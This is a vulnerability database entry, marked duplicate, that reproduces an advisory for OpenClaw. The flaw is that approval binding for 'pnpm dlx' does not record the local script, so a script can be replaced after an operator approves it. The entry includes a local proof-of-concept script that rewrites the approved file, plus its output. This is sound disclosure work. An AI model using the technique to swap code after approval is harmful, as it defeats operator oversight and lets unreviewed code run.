| Title | npm OpenClaw <= 2026.4.1 Incorrect Authorization |
|---|
| Description | Summary
OpenClaw previously fixed an issue where local scripts could be replaced after system.run approval. The related vulnerability is GHSA-qc36-x95h-7j53, and the follow-up patch 2f03de029c fix(node-host): harden pnpm approval binding extended binding protection to pnpm exec and pnpm node.
However, in the current version, the equivalent entry point pnpm dlx is still not covered. For a command like pnpm dlx tsx ./run.ts, an approval plan is generated correctly, but the actual local script ./run.ts is not recorded in mutableFileOperand. As a result, an attacker can first get the operator to approve a benign script, then replace its contents before execution. Unlike pnpm exec tsx ./run.ts, the execution phase will not detect this script drift.
Reproduction steps
Run the following command in the repository root directory:
tmp=$(mktemp -d)
script="./.tmp-poc-pnpm-dlx-$$.ts"
trap 'rm -f "$script"; rm -rf "$tmp"' EXIT INT TERM
mkdir -p "$tmp/bin"
printf '#!/bin/sh\nexit 0\n' > "$tmp/bin/pnpm"
printf '#!/bin/sh\nexit 0\n' > "$tmp/bin/tsx"
chmod +x "$tmp/bin/pnpm" "$tmp/bin/tsx"
printf 'console.log("SAFE")\n' > "$tmp/run.ts"
cat > "$script" <<'EOF'
import fs from "node:fs";
import {
buildSystemRunApprovalPlan,
revalidateApprovedMutableFileOperand,
} from "./src/node-host/invoke-system-run-plan.ts";
const tmp = process.env.TMPDIR_UNDER_TEST;
if (!tmp) throw new Error("TMPDIR_UNDER_TEST missing");
const dlx = buildSystemRunApprovalPlan({
command: ["pnpm", "dlx", "tsx", "./run.ts"],
cwd: tmp,
});
if (!dlx.ok) throw new Error(dlx.message);
const exec = buildSystemRunApprovalPlan({
command: ["pnpm", "exec", "tsx", "./run.ts"],
cwd: tmp,
});
if (!exec.ok) throw new Error(exec.message);
fs.writeFileSync(`${tmp}/run.ts`, 'console.log("PWNED")\n');
const execStillValid = exec.plan.mutableFileOperand
? revalidateApprovedMutableFileOperand({
snapshot: exec.plan.mutableFileOperand,
argv: exec.plan.argv,
cwd: exec.plan.cwd ?? tmp,
})
: null;
console.log(JSON.stringify({
dlxOk: dlx.ok,
dlxHasBinding: Boolean(dlx.plan.mutableFileOperand),
execOk: exec.ok,
execHasBinding: Boolean(exec.plan.mutableFileOperand),
execBindingStillValidAfterRewrite: execStillValid,
}, null, 2));
EOF
TMPDIR_UNDER_TEST="$tmp" PATH="$tmp/bin:$PATH" bun "$script"
The actual results on the current version are:
{
"dlxOk": true,
"dlxHasBinding": false,
"execOk": true,
"execHasBinding": true,
"execBindingStillValidAfterRewrite": false
}
Key points:
dlxOk: true indicates that pnpm dlx tsx ./run.ts correctly enters the approval planning flow.
dlxHasBinding: false indicates that this path does not establish a binding for the final executed local script ./run.ts.
execHasBinding: true indicates that the control case pnpm exec tsx ./run.ts already has script binding protection.
execBindingStillValidAfterRewrite: false indicates that in the patched control path, rewriting the script after approval will be detected.
Details
The issue is located at:
src/node-host/invoke-system-run-plan.ts:303-313
src/node-host/invoke-system-run-plan.ts:328-353
src/node-host/invoke-system-run-plan.ts:1068-1085
unwrapKnownPackageManagerExecInvocation() delegates pnpm commands to unwrapPnpmExecInvocation(). However, the current implementation of unwrapPnpmExecInvocation() only recognizes exec and node, and does not recognize dlx.
As a result, pnpm dlx tsx ./run.ts is not unwrapped into the actual runtime/script invocation chain. The approval planning logic therefore does not proceed to identify the local script ./run.ts, and buildSystemRunApprovalPlan() does not populate mutableFileOperand.
Although the execution phase includes a script drift check, this check depends on the presence of a script binding in the approval plan. For the pnpm dlx path, this precondition is not satisfied, and therefore the approval integrity protection remains missing. |
|---|
| Source | ⚠️ https://github.com/openclaw/openclaw/security/advisories/GHSA-w6wx-jq6j-6mcj |
|---|
| User | kazamayc (UID 97019) |
|---|
| Submission | 04/03/2026 09:04 (7 days ago) |
|---|
| Moderation | 04/09/2026 18:25 (6 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 354113 [OpenClaw up to 2026.3.10 authorization] |
|---|
| Points | 0 |
|---|